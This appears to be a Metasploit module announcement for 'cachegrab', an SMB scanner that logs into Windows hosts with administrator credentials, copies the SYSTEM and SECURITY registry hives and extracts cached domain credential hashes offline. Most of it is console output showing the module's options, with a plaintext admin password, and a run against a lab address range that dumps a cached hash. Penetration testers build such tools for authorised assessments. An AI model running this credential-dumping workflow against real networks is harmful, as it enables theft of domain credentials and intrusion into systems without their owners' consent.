Added new module auxiliary/scanner/smb/cachegrab

This module uses the psexec mixin to authenticate to a windows host or range of hosts and download a copy of the SYSTEM and SECURITY registry hives then extract cached hashes if present offline on the attacking system and not the victim.

http://blog.accuvant.com/blog/owning-computers-without-shell-access

<pre>
msf auxiliary(cachegrab) > show options

Module options (auxiliary/scanner/smb/cachegrab):

   Name       Current Setting        Required  Description
   ----       ---------------        --------  -----------
   LOGDIR     /tmp/msfhashes/cached  yes       This is a directory on your local attacking system used to store Hive files and hashes
   RHOSTS     172.16.141.133-144     yes       The target address range or CIDR identifier
   RPORT      445                    yes       The Target port son
   SMBDomain  WORKGROUP              no        The Windows domain to use for authentication
   SMBPass    @ccuv@ntL@bs!          no        The password for the specified username
   SMBSHARE   C$                     yes       The name of a writeable share on the server
   SMBUser    Administrator          no        The username to authenticate as
   THREADS    10                     yes       The number of concurrent threads
   WINPATH    WINDOWS                yes       The name of the WINDOWS directory on the remote host

msf auxiliary(cachegrab) > exploit

[*] 172.16.141.133:445 - Dumping cached credentials...
[+] serveradmin:567d3207b8395d7df14a2213c921e94e:dbz-vuln.nets:dbz-vuln
[-] 172.16.141.142:445 - System does not appear to store any cached credentials
[*] Scanned 07 of 12 hosts (058% complete)
[*] Scanned 09 of 12 hosts (075% complete)
[*] Scanned 10 of 12 hosts (083% complete)
[*] Scanned 11 of 12 hosts (091% complete)
[*] Scanned 12 of 12 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(cachegrab) > 
</pre>